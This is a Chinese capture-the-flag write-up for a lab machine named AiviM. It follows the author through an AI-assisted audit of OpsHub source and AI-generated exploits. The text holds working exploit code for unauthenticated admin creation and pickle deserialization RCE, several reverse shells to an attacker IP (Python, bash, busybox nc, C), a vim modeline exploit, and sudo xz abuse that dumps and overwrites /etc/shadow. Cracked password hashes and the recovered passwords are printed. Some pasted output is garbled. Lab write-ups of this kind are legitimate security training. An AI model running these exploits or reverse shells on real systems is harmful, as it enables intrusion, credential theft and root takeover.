

2026-04-21(AiviM打靶wp)

使用claude对给定的opshub源码进行代码审计，发现了一些漏洞，其中提示远程可利用的包括/api/v1/setup/init接口的创建管理员账号密码、/deploy/templates/create接口的模板注入RCE以及/servers/import接口的pickle反序列化RCE

利用AI生成的exp，通过/api/v1/setup/init接口漏洞创建了hacker/Pass1234!管理员账号

```
def create_admin_account(target, username, password, email="hacker@evil.com"):
    """
    方法0: 未授权创建管理员账户 (如果未配置)
    """
    print_info("尝试创建管理员账户 ... ")

    try:
        resp = requests.post(f"{target}/api/v1/setup/init", json={
            'username': username,
            'password': password,
            'email': email
        })

        if resp.status_code == 201:
            print_success(f"管理员账户创建成功: {username} / {password}")
            return True
        elif resp.status_code == 403:
            print_warning("Setup已完成, 无法创建新账户")
            return False
        else:
            print_error(f"创建失败: {resp.text}")
            return False
    except Exception as e:
        print_error(f"连接错误: {e}")
        return False
```

利用AI生成的exp，通过/servers/import接口漏洞实现了反弹shell

```
def exploit_pickle_deserialization(target, session, attacker_ip, attacker_port):
    """
    方法2: Pickle反序列化 RCE
    """
    print_info("开始Pickle反序列化攻击 ... ")

    # 构造反弹shell payload
    reverse_shell = "bash -i >& /dev/tcp/10.0.2.15/9999 0>&1"
    reverse_shell = "python3 -c 'import socket, subprocess, os; s=socket.socket(); s.connect((\"10.0.2.15\", 9999)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); subprocess.call([\"/bin/sh\", \"-i\"])' "

    class Payload:
        def __reduce__(self):
            return (os.system, (reverse_shell,))

    class ReverseShell:
        def __reduce__(self):
            # 返回函数和参数，pickle反序列化时自动调用
            return (self._connect, (('10.0.2.15', 8888),))

    @staticmethod
    def _connect(addr):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(addr)

        # 重定向标准输入输出到socket
        os.dup2(s.fileno(), 0) # stdin
        os.dup2(s.fileno(), 1) # stdout
        os.dup2(s.fileno(), 2) # stderr

        # 启动交互式shell
        subprocess.run(["/bin/sh", "-i"])

    try:
        # 生成恶意的pickle
        payload = pickle.dumps(Payload())
        print(payload)

        encoded_data = base64.b64encode(payload).decode('latin-1')

        md5 = hashlib.md5(encoded_data.encode('utf-8')).hexdigest()
        print(md5)

        # 构造恶意的备份文件
        backup = {
            "version": "0.0",
            "type": "server_backup",
            "data": encoded_data,
            "checksum": str(md5),
            "#checksum": "fjsjfdj"
        }

        # 上传恶意的备份
        print_info("上传恶意的备份文件 ... ")
        files = {
            'backup_file': ('evil.opshub', json.dumps(backup), 'application/octet-stream')
        }

        print(json.dumps(backup))

        resp = session.post(f'{target}/servers/import', files=files)
        print(resp.text)

        if 'success' in resp.text.lower() or resp.status_code == 200:
            print_success("攻击请求已发送!")
            print_info(f"请检查 {attacker_ip}:{attacker_port} 的监听")
            return True
        else:
            print_error(f"攻击失败: {resp.text}")
            return False

    except Exception as e:
        print_error(f"攻击失败: {e}")
        return False
```

```
$ python3 exp.py --target http://10.0.2.56:5000 -  
-method pickle --attacker-ip 10.0.2.15 --attacker-p  
ort 9999  
/home/kali/exp.py:263: SyntaxWarning: invalid escap  
e sequence '\/'  
    """)
```

OpsHub RCE Exploit

<Response [302]>

[+] 登录成功: hacker

[*] 目标: http://10.0.2.56:5000

[*] 监听: 10.0.2.15:9999

[*] 方法: pickle

[*]

===

[*] 开始Pickle反序列化攻击 ...

```
b'\x80\x04\x95\xd7\x00\x00\x00\x00\x00\x00\x00\x8c\x  
x05posix\x94\x8c\x06system\x94\x93\x94\x8c\xbcpytho  
n3 -c \'import socket,subprocess,os;s=socket.socket  
( );s.connect(("10.0.2.15",9999));os.dup2(s.fileno()  
,0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);sub  
process.call(["/bin/sh","-i"])\' \x94\x85\x94R\x94.  
27699069453ecb50ef07f39c71b62c6e
```

[*] 上传恶意备份文件 ...

```
{"version": "0.0", "type": "server_backup", "data":  
  "gASV1wAAAAAAACMBXBvc2l4lIwGc3lzdGVtJlJOUjLxweXRob  
24zIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Ms b3M7cz1z  
b2NrZXQuc29ja2V0KCK7cy5jb25uZWNOKCgiMTAuMC4yLjE1iw  
50Tl5KCl7k2M7ZlV4Mik4b2Nlc3Ms b3M7cz1z b2NrZXQuc29ja2V0KCK7cy5jb25uZWNOKCgiMTAuMC4yLjE1iw
```

```
50TK5KSK7b3MuZHVWMinZLMzpbGVubygpLDAP029ZLMR1cD10cy  
5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZm1sZW5vKCksMik7c3Vic  
HJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIi1pIl0pJ5SFlFKULg=  
", "checksum": "27699069453ecb50ef07f39c71b62c6e"}
```

通过反弹shell，可以拿到一个www-data权限的shell

```
$ id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

在/home/welcome目录中发现了user flag

```
www-data@AiviM:~/opshub$ cat /home/welcome/user.txt  
cat /home/welcome/user.txt  
flag{user-81d8d14768647c1dffd3ebc6ba0c303}  
www-data@AiviM:~/opshub$
```

后续摸索了linux内核漏洞提权，均失败

后经作者提醒，先尝试提权到welcome权限

发现系统中存在以welcome权限运行的的服务脚本

```
www-data@AiviM:/opt/message$ ps aux|grep welcome  
ps aux|grep welcome  
welcome      368  0.0  0.1  6744  3008 ?        Ss   00:38   0:00 /bin/bash /usr/local/bin/watch_message.sh  
welcome      387  0.0  0.0  2512   712 ?        S    00:38   0:00 inotifywait -m -e create -e moved_to --format %f /opt/message  
welcome      388  0.0  0.1  6744  2324 ?        S    00:38   0:00 /bin/bash /usr/local/bin/watch_message.sh  
www-data 1296332  0.0  0.1  6308  2388 pts/5    S+   09:07   0:00 grep welcome  
www-data@AiviM:/opt/message$ cat /usr/local/bin/watch_message.sh  
cat /usr/local/bin/watch_message.sh  
#!/bin/bash  
MONITOR_DIR="/opt/message"  
  
inotifywait -m -e create -e moved_to --format '%f' "$MONITOR_DIR" | while read NEW_FILE  
do  
    FULL_PATH="$MONITOR_DIR/$NEW_FILE"  
    [ -f "$FULL_PATH" ] || continue  
  
    # SIGTERM at 10s, SIGKILL at 12s if vim ignores SIGTERM (common with DISPLAY set)  
    timeout -k 2s 10s vim "$FULL_PATH" 2>/dev/null  
  
    rm -f "$FULL_PATH"  
done
```

通过AI分析脚本功能后，开始尝试构造包含反弹shell脚本的文件名通过脚本变量进行命令注入，均失败

```

www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;aaa
<ssage/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;aaa
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
www-data@AiviM:/opt/message$ touch /opt/message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;
</message/a\;busybox\ nc\ 10.0.2.15\ 8888\ \-e\ sh\;

```

后经作者提醒，开始尝试使用CVE-2026-34982漏洞对vim进行攻击
构造了反弹shell的程序放到靶机/tmp/rce位置

```

1 #include <stdio.h>
2 #include <sys/socket.h>
3 #include <sys/types.h>
4 #include <stdlib.h>
5 #include <unistd.h>
6 #include <netinet/in.h>
7 #include <arpa/inet.h>
8
9 int main(void){
10     int port = 8888;
11     struct sockaddr_in revsockaddr;
12
13     int sockt = socket(AF_INET, SOCK_STREAM, 0);
14     revsockaddr.sin_family = AF_INET;
15     revsockaddr.sin_port = htons(port);
16     revsockaddr.sin_addr.s_addr = inet_addr("10.0.2.15");
17
18     connect(sockt, (struct sockaddr *) &revsockaddr,
19             sizeof(revsockaddr));
20     dup2(sockt, 0);|
21     dup2(sockt, 1);
22     dup2(sockt, 2);
23
24     char * const argv[] = {"sh", NULL};
25     execvp("sh", argv);
26
27     return 0;
28 }

```

利用CVE-2026-34982的exp构造vim.md文件

```

1 /* vim: set showtabpanel=2 tabpanel=%{autocmd_add([{'event':'SafeStateAgain','pattern': '*', 'cmd': '!\\tmp\\rce', 'once': 1}])}%: */
2 |

```

将vim.md文件放置到靶机/opt/message/目录中实现反弹shell

```

$ busybox nc 10.0.2.15 6666 > /opt/message/vim.md
$ busybox nc 10.0.2.15 6666 > /opt/message/vim.md
$ xz -h

```

通过反弹shell后获得welcome权限，但shell有时间限制，便利用xz命令读取了/etc/shadow相关文件内容


```

cat: /etc/shadow: Permission denied
welcome@AivIM:~$ sudo xz -c /etc/shadow | sudo xz -d
root:$6$eGTWblG825L7Wu5$xDvcbTCrop/mm0E0rWT7Yp37K.Sl479vJrz5kTCWp7ba48MRkG7kBQOK2/KcpZ/nPEsequevz5Lj0EtZeYlWxZ0:20559:0:99999:7:::
daemon:*:20166:0:99999:7:::
bin:*:20166:0:99999:7:::
sys:*:20166:0:99999:7:::
sync:*:20166:0:99999:7:::
games:*:20166:0:99999:7:::
man:*:20166:0:99999:7:::
lp:*:20166:0:99999:7:::
mail:*:20166:0:99999:7:::
news:*:20166:0:99999:7:::
uucp:*:20166:0:99999:7:::
proxy:*:20166:0:99999:7:::
www-data:*:20166:0:99999:7:::
backup:*:20166:0:99999:7:::
list:*:20166:0:99999:7:::
irc:*:20166:0:99999:7:::
gnats:*:20166:0:99999:7:::
nobody:*:20166:0:99999:7:::
_apt:*:20166:0:99999:7:::
systemd-timesync:*:20166:0:99999:7:::
systemd-network:*:20166:0:99999:7:::
systemd-resolve:*:20166:0:99999:7:::
systemd-coredump:!!:20166:::
messagebus:*:20166:0:99999:7:::
sshd:*:20166:0:99999:7:::
welcome:$6$ZNBPBELs/8Fy90Sv$jLSG7Y.H1BB73juZrmTPVbRaB4Ib4e8WOG7zGJpmVdHnKzSFyoU/f80sQvf.kFaYP9BFZYrgYdoLQfAFpsvS.:20559:0:99999:7:::
welcome@AivIM:~$ sudo xz -c /etc/shadow | sudo xz -d
root:$6$TfSLmZl8/eUhmY0$wYvgBx94VuTMRZq01603IPG2mn1e.MFz2WKK.pACuy/Sa1dTHqu0vWtbTBrt/Q8dIWGBeyrY90ERemhYELKHv1:20190:0:99999:7:::
daemon:*:20166:0:99999:7:::
bin:*:20166:0:99999:7:::
sys:*:20166:0:99999:7:::
sync:*:20166:0:99999:7:::
games:*:20166:0:99999:7:::
man:*:20166:0:99999:7:::
lp:*:20166:0:99999:7:::
mail:*:20166:0:99999:7:::
news:*:20166:0:99999:7:::
uucp:*:20166:0:99999:7:::
proxy:*:20166:0:99999:7:::
www-data:*:20166:0:99999:7:::
backup:*:20166:0:99999:7:::
list:*:20166:0:99999:7:::
irc:*:20166:0:99999:7:::
gnats:*:20166:0:99999:7:::
nobody:*:20166:0:99999:7:::
_apt:*:20166:0:99999:7:::
systemd-timesync:*:20166:0:99999:7:::
systemd-network:*:20166:0:99999:7:::
systemd-resolve:*:20166:0:99999:7:::
systemd-coredump:!!:20166:::
messagebus:*:20166:0:99999:7:::
sshd:*:20166:0:99999:7:::
welcome@AivIM:~$ cd /etc

```

通过john爆破，发现/etc/shadow文件中的welcome密码可爆破出来

```

(Kal[t@Kall)-[~]
$ john --show hash.txt
welcome:budakbageur

```

/etc/shadow-文件中的root密码可爆破出来

```

$ john --format=sha512crypt root.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
todd (root)
lg 0:00:00:29 DONE (2026-04-21 00:39) 0.03436g/s 4688p/s 4688c/s 4688C/s turtle05..telekin
Use the "--show" option to display all of the cracked passwords reliably

```

使用welcome账号登录系统后，尝试提权到root

经作者提示，分析了xz程序相关参数，发现-S选项可以定义文件扩展名，遂设法通过xz命令用/etc/shadow-文件覆写/etc/shadow文件，实现最终root shell获得

```
welcome@AiviM:/etc$ sudo xz -k shadow- -S -.zip
welcome@AiviM:/etc$ ls -la
welcome@AiviM:/etc$ sudo xz -d -S --.zip shadow--.zip
xz: shadow: File exists
welcome@AiviM:/etc$ sudo xz -fd -S --.zip shadow--.zip
welcome@AiviM:/etc$ id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)
```

使用root账号登录系统后，在/root目录下发现了root flag

```
Last login: Thu Apr 16 11:51:00 2026 from 10.0.2.52
root@AiviM:~# cd /root
root@AiviM:~# ls
rootPro0f.txt
root@AiviM:~# ls -la
total 20
drwx----- 2 root root 4096 Apr 16 12:16 .
drwxr-xr-x 18 root root 4096 Mar 18 2025 ..
lrwxrwxrwx 1 root root 9 Mar 18 2025 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 44 Apr 16 12:16 rootPro0f.txt
root@AiviM:~# cat rootPro0f.txt
flag{root-4c9a8e628157da2dd87e05b076e6c32f}
```